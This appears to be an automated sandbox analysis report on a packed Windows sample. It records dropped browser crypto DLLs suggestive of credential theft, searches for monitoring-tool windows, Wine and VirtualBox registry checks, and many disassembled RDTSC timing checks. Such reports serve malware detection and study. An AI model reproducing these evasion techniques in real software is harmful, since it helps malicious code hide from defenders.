Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2102619499.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.260000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xugdxrgk:EW;ygzrgnus:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xugdxrgk:EW;ygzrgnus:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x2194f4 should be: 0x2179df

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xugdxrgk
Source: file.exe	Static PE information: section name: ygzrgnus
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: xugdxrgk entropy: 7.954124666986544

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0F13 second address: 6B0F24 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB8A0D84C9Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0F24 second address: 6B0F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB8A0B1007Ch 0x0000000b jmp 00007FB8A0B10083h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 jmp 00007FB8A0B1007Ah 0x0000001a jmp 00007FB8A0B10089h 0x0000001f pop ebx 0x00000020 pushad 0x00000021 jnp 00007FB8A0B10076h 0x00000027 jmp 00007FB8A0B10087h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0F92 second address: 6B0FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FB8A0D84C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0FA1 second address: 6B0FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8488 second address: 6C8492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB8A0D84C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8492 second address: 6C849C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB8A0B10076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C849C second address: 6C84C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB8A0D84CA9h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007FB8A0D84CA1h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C84C2 second address: 6C84C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C84C6 second address: 6C84E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB8A0D84C96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FB8A0D84C9Eh 0x00000012 jo 00007FB8A0D84C96h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C84E0 second address: 6C84F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8A0B1007Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8776 second address: 6C8783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8783 second address: 6C87A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FB8A0B10076h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC35D second address: 6CC362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC362 second address: 6CC368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC368 second address: 6CC36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC36C second address: 6CC37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FB8A0B10078h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC37F second address: 6CC3B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FB8A0D84CA5h 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC3B8 second address: 6CC3C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC3C2 second address: 6CC3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC3C6 second address: 6CC3DC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB8A0B10076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC3DC second address: 6CC3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC41B second address: 6CC420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC420 second address: 6CC453 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB8A0D84CA5h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB8A0D84CA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC453 second address: 6CC458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC5BA second address: 6CC5BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC5BF second address: 6CC5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007FB8A0B10094h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB8A0B1007Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC5FE second address: 6CC602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC602 second address: 6CC60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC60C second address: 6CC610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC6A8 second address: 6CC6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC6AC second address: 6CC6B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC6B0 second address: 6CC6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC6B6 second address: 6CC6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a je 00007FB8A0D84C9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC6C8 second address: 6CC6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0B10083h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FB8A0B1007Eh 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED7CF second address: 6ED7D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB546 second address: 6EB54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB6C7 second address: 6EB6D7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB8A0D84C9Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB837 second address: 6EB83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB83D second address: 6EB85D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB8A0D84C96h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FB8A0D84C9Bh 0x00000016 pop edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB85D second address: 6EB864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB864 second address: 6EB887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB8A0D84C96h 0x0000000a jmp 00007FB8A0D84CA9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB887 second address: 6EB88B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB9C4 second address: 6EB9F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB8A0D84C9Ch 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 je 00007FB8A0D84C96h 0x0000001b popad 0x0000001c jmp 00007FB8A0D84CA0h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB9F7 second address: 6EBA04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jbe 00007FB8A0B10076h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBA04 second address: 6EBA0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBB77 second address: 6EBB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB8A0B10076h 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBFA0 second address: 6EBFA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC3EA second address: 6EC41C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FB8A0B1007Fh 0x0000000a popad 0x0000000b jmp 00007FB8A0B10083h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC41C second address: 6EC43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB8A0D84CA7h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC593 second address: 6EC5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB8A0B10088h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FB8A0B10089h 0x00000013 jmp 00007FB8A0B1007Fh 0x00000018 jg 00007FB8A0B10076h 0x0000001e popad 0x0000001f jmp 00007FB8A0B1007Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC740 second address: 6EC76A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FB8A0D84C9Ch 0x0000000c jng 00007FB8A0D84C98h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB8A0D84C9Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC76A second address: 6EC76E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3BE9 second address: 6E3BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3BED second address: 6E3C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB8A0B10076h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E3C0C second address: 6E3C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1D3B second address: 6C1D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EC89D second address: 6EC8E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84CA7h 0x00000009 pop eax 0x0000000a jbe 00007FB8A0D84C9Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB8A0D84CA7h 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED054 second address: 6ED058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED058 second address: 6ED06B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED06B second address: 6ED0A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007FB8A0B10076h 0x00000009 pop eax 0x0000000a jmp 00007FB8A0B1007Ch 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB8A0B10089h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED23E second address: 6ED248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB8A0D84C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED248 second address: 6ED24C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED24C second address: 6ED25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8A0D84C9Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED25E second address: 6ED2A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FB8A0B10076h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 jno 00007FB8A0B1007Ch 0x00000016 pop edx 0x00000017 pop eax 0x00000018 ja 00007FB8A0B100A3h 0x0000001e pushad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FB8A0B10087h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED2A5 second address: 6ED2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED3FC second address: 6ED403 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED403 second address: 6ED417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jg 00007FB8A0D84C96h 0x0000000c jns 00007FB8A0D84C96h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ED68A second address: 6ED68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2905 second address: 6F2914 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1A4E second address: 6F1A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1A54 second address: 6F1A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2AC8 second address: 6F2ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2ACE second address: 6F2AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2AD3 second address: 6F2ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB8A0B10076h 0x0000000a rdtsc
